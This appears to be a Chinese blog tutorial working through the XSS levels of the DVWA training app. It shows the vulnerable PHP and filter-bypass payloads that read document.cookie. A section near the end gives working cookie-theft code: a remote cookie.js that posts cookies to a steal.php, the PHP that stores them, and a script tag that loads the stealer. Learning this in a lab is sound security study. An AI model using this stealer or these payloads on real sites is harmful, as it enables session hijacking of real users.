DVWA从入门到放弃之XSSReflectedStoredDOM

45次阅读

共计 10462 个字符,预计需要花费 27 分钟才能阅读完成。

XSS- 跨站脚本攻击,在某种意义上也是一种注入型攻击
XSS 不仅仅限于 JavaScript,还包括 flash 等其它脚本语言
根据恶意代码 是否存储在服务器 中,XSS 可以分为存储型的 XSS(Stored)与反射型的 XSS(Reflected)
DOM 型的 XSS 由于其特殊性,是一种基于 DOM 树的 XSS,被分为第三种

XSS(Reflected)

Low

代码分析

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if(array_key_exists( "name", $_GET) && $_GET['name'] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello' . $_GET['name'] . '</pre>';
}

?> 
#array_key_exists()函数检查数组里是否有指定的键名或索引。有返回 true,没有返回 false

可以看到,代码直接引用了 name 参数,并 没有任何的过滤与检查,存在明显的 XSS 漏洞

操作步骤

输入<script>alert(1)</script>


可以看到成功出现弹窗

F12 进入开发者模式可以看到浏览器成功将我们的输入作为 HTML 元素解释运行


Medium

代码分析

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if(array_key_exists( "name", $_GET) && $_GET['name'] != NULL ) {
    // Get input
    $name = str_replace('<script>', '', $_GET['name'] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

Medium 级别的代码相对于 Low 级别的代码使用 str_replace 函数将输入中的 <script> 删除

操作步骤

只删除 <script> 标签的情况是很容易绕过的:
1. 使用双写绕过,输入 <scr<script>ipt>alert(document.cookie)</script>
2. 使用大小写绕过,输入<sCript>alert(document.cookie)</script>
3. 输入其他标签,如<IMG src=1 onerror=alert(document.cookie)>
可以看到结果:

获取到了当前用户的 cookie,这结合 csrf(跨站请求伪造) 攻击危害是很大的


High

代码分析

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if(array_key_exists( "name", $_GET) && $_GET['name'] != NULL ) {
    // Get input
    $name = preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET['name'] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

可以看到 High 级别的代码使用了 preg_replace 函数执行一个正则表达式的搜索和替换
其中 /<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i 是正则表达式 (.*) 表示贪婪匹配,/i表示不区分大小写
所以在 High 级别的代码中,所有关于 <script> 标签均被过滤删除了

操作步骤

虽然 <script> 标签不管用了,但是可以使用其他标签绕过
输入 <IMG src=1 onerror=alert(document.cookie)> 同样得到 Medium 级别的结果


Impossible

代码分析

<?php

// Is there any input?
if(array_key_exists( "name", $_GET) && $_GET['name'] != NULL ) {
    // Check Anti-CSRF token
    checkToken($_REQUEST[ 'user_token'], $_SESSION['session_token'], 'index.php' );

    // Get input
    $name = htmlspecialchars($_GET[ 'name'] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

可以看到 Impossible 级别的代码使用 htmlspecialchars 函数把预定义的字符 &、”、’、<、> 转换为 HTML 实体,防止浏览器将其作为 HTML 元素。还加入了 Anti-CSRF token,防止结合csrf 攻击

分析总结

虽然利用了 htmlspecialchars() 函数将用户的输入进行过滤,但是在特定情况下需要用户输入一些被过滤,会丢失原始数据。且 htmlspecialchars 本质也是 黑名单过滤,没有绝对安全

XSS(Stored)

Low

代码分析

<?php

if(isset( $_POST[ 'btnSign'] ) ) {
    // Get input
    $message = trim($_POST[ 'mtxMessage'] );
    $name    = trim($_POST[ 'txtName'] );

    // Sanitize message input
    $message = stripslashes($message);
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "":""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "":""));

    // Update database
    $query  = "INSERT INTO guestbook (comment, name) VALUES ('$message','$name');";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die('<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();}

?> 

函数介绍:
isset()函数在 php 中用来检测变量是否设置,该函数返回的是布尔类型的值,即 true/false
trim()函数作用为移除字符串两侧空白字符或其他预定义字符
stripslashes() 函数用于删除字符串中的反斜杠
mysqli_real_escape_string() 函数会对字符串中的特殊符号 (\x00,\n,\r,\,',",\x1a) 进行转义
在代码中对 message,name 输入框内容 没有进行 XSS 方面的过滤和检查 。且通过query 语句插入到数据库中。所以存在存储型 XSS 漏洞

操作步骤

由于 name 和 message 输入框均存在 xss。但 name 输入框有字符限制,这里可以使用 burpsuite 抓包修改 name 输入框内容:<script>alert(document.cookie)</script>

点击 Forward 得到结果

F12 打开开发者模式可以看到输入内容被前端 html 代码解析运行:

由于提交的结果存储在数据库中,所以每次刷新页面,输入的恶意代码就会被执行一次

Medium

代码分析

<?php

if(isset( $_POST[ 'btnSign'] ) ) {
    // Get input
    $message = trim($_POST[ 'mtxMessage'] );
    $name    = trim($_POST[ 'txtName'] );

    // Sanitize message input
    $message = strip_tags(addslashes( $message) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "":""));
    $message = htmlspecialchars($message);

    // Sanitize name input
    $name = str_replace('<script>', '', $name);
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "":""));

    // Update database
    $query  = "INSERT INTO guestbook (comment, name) VALUES ('$message','$name');";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die('<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();}

?> 

strip_tags()函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用 <b> 标签。
addslashes()函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
htmlspecialchars()函数把预定义的字符 &、”、’、<、> 转换为 HTML 实体,防止浏览器将其作为 HTML 元素
一顿操作对 message 输入内容进行检测过滤,因此无法再通过 message 参数注入 XSS 代码
但是对于 name 参数,只是简单过滤了 <script> 字符串,仍然存在存储型的 XSS。

操作步骤

抓包修改 name 输入内容:(和之前反射型 XSS-Medium 级别 payload 一致)
1. 使用双写绕过,输入<scr<script>ipt>alert(document.cookie)</script>
2. 使用大小写绕过,输入<sCript>alert(document.cookie)</script>
3. 输入其他标签,如<IMG src=1 onerror=alert(document.cookie)>

High

代码分析

<?php

if(isset( $_POST[ 'btnSign'] ) ) {
    // Get input
    $message = trim($_POST[ 'mtxMessage'] );
    $name    = trim($_POST[ 'txtName'] );

    // Sanitize message input
    $message = strip_tags(addslashes( $message) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "":""));
    $message = htmlspecialchars($message);

    // Sanitize name input
    $name = preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "":""));

    // Update database
    $query  = "INSERT INTO guestbook (comment, name) VALUES ('$message','$name');";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die('<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();}

?> 

和反射型 XSS-High 级别代码功能一致。对 name 输入内容利用 正则匹配 删除所有关于 <script> 标签

操作步骤

使用其他标签:<IMG src=1 onerror=alert(document.cookie)>

Impossible

代码分析

<?php

if(isset( $_POST[ 'btnSign'] ) ) {
    // Check Anti-CSRF token
    checkToken($_REQUEST[ 'user_token'], $_SESSION['session_token'], 'index.php' );

    // Get input
    $message = trim($_POST[ 'mtxMessage'] );
    $name    = trim($_POST[ 'txtName'] );

    // Sanitize message input
    $message = stripslashes($message);
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "":""));
    $message = htmlspecialchars($message);

    // Sanitize name input
    $name = stripslashes($name);
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "":""));
    $name = htmlspecialchars($name);

    // Update database
    $data = $db->prepare('INSERT INTO guestbook ( comment, name) VALUES (:message, :name);' );
    $data->bindParam(':message', $message, PDO::PARAM_STR);
    $data->bindParam(':name', $name, PDO::PARAM_STR);
    $data->execute();}

// Generate Anti-CSRF token
generateSessionToken();

?> 

在 Impossible 代码中同样对 name 内容使用 htmlspecialchars() 函数, 还加入了 Anti-CSRF token,防止结合csrf 攻击

但是如果 htmlspecialchars 函数使用不当,攻击者就可以通过编码的方式绕过函数进行 XSS 注入,尤其是 DOM 型的 XSS

自我总结

我们可以看到,在 Reflected 和 Stored 类型的 XSS 中每个级别的差异只是 过滤黑名单的完善程度 不一样。由此,总结一个按照级别分类的 XSS 输入的 payloads

扩展 - 利用 XSS 获取用户 cookie 构造 csrf 攻击

其实,在上述例子的 XSS 危害只是弹窗,并不能实际获取到 cookie,下面演示怎样远程获取用户 cookie:

原理:

由于 script 标签可以加载远程服务器的 javascript 代码并且执行,所以在远程服务器编写一个 cookie.js

document.write("<form action='http://192.168.30.135/dvwaxss/steal.php'name='exploit'method='post'style='display:none'>");
document.write("<input type='hidden'name='data'value='"+document.cookie+"'>");
document.write("</form>");
document.exploit.submit();

这段 js 代码的作用是在页面中构造一个隐藏表单和一个隐藏域,内容为当前的 cookie,并且以 post 方式发送到同目录下的 steal.php:

<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db("dvwacookie",$conn);
if(isset($_GET['data']))
{$sql="insert into low(cookie) values('".$_GET['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();}
else if(isset($_POST['data']))
{$sql="insert into low(cookie) values('".$_POST['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();}
else
{
    $sql="select * from low";
    $result=mysql_query($sql,$conn);
    while($row=mysql_fetch_array($result))
    {echo "偷取的 cookie:".$row[1]."</br>";
    }
    mysql_close();}
?>

steal.php 会将我们获取到的 cookie 存到数据库中,搞事之前先创建数据库和相应的表(字段):

create database dvwacookie;# 创建数据库
use dvwacookie;# 进入 dvwacookie 数据库
create table low(id int not null auto_increment primary key,cookie varchar(100) not null);
#创建一个 low 表,字段 id-int 类型,主键,值自动增长、字段 cookie

接下来在 XSS 漏洞位置插入:

<script src=http://192.168.50.150/dvwaxss/cookie.js></script>

就可以获取用户 cookie。参考链接在此,与本作者无关

XSS(DOM)

对于 DOM 型的 XSS 是一种基于 DOM 树的一种代码注入攻击方式,可以是反射型的,也可以是存储型的
最大的特点就是 不与后台服务器交互,只是通过浏览器的 DOM 树解析产生

介绍下 DOM:

HTML DOM 是关于如何获取、修改、添加或删除 HTML 元素的标准
简单来说 DOM 主要研究的是 节点,所有节点可通过javascript 访问(增,删,改,查)

可能触发 DOM 型 XSS 属性:本实验中主要用到的就是 document.write 属性

document.write 属性
document.referer 属性
innerHTML 属性
windows.name 属性
location 属性

Low

代码分析

<?php

# No protections, anything goes

?> 

可以,很直接

操作步骤

1. 正常输入 English 和 French,F12 打开开发者模式可以看见

现在来分析一下 <script> 标签中的代码:

if (document.location.href.indexOf("default=") >= 0)
{var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
                }
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");

#'document.location.href.indexOf()函数截取 url 中指定参数后面的内容
#document.location.href.substring()函数截取字符串
#decodeURI()函数将编码过的 URI 进行解码
#docunment.write()可以将 HTML 表达式或 JavaScript 代码
从 <script> 标签的代码可以看出来其作用简单来说就是把 url 中的内容提取出来写入到 html 元素中

2. 那我们直接构造 url,在 ”default=“ 后加 <script>alert(document.cookie)</script>

F12 审查元素:

可以看到和之前正常输入相比较,第一个 option 标签,就是 <script> 标签中 document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>"); 改变的内容,其中:decodeURI(lang) = <script>alert(document.cookie)</script>被解释运行

正文完
 0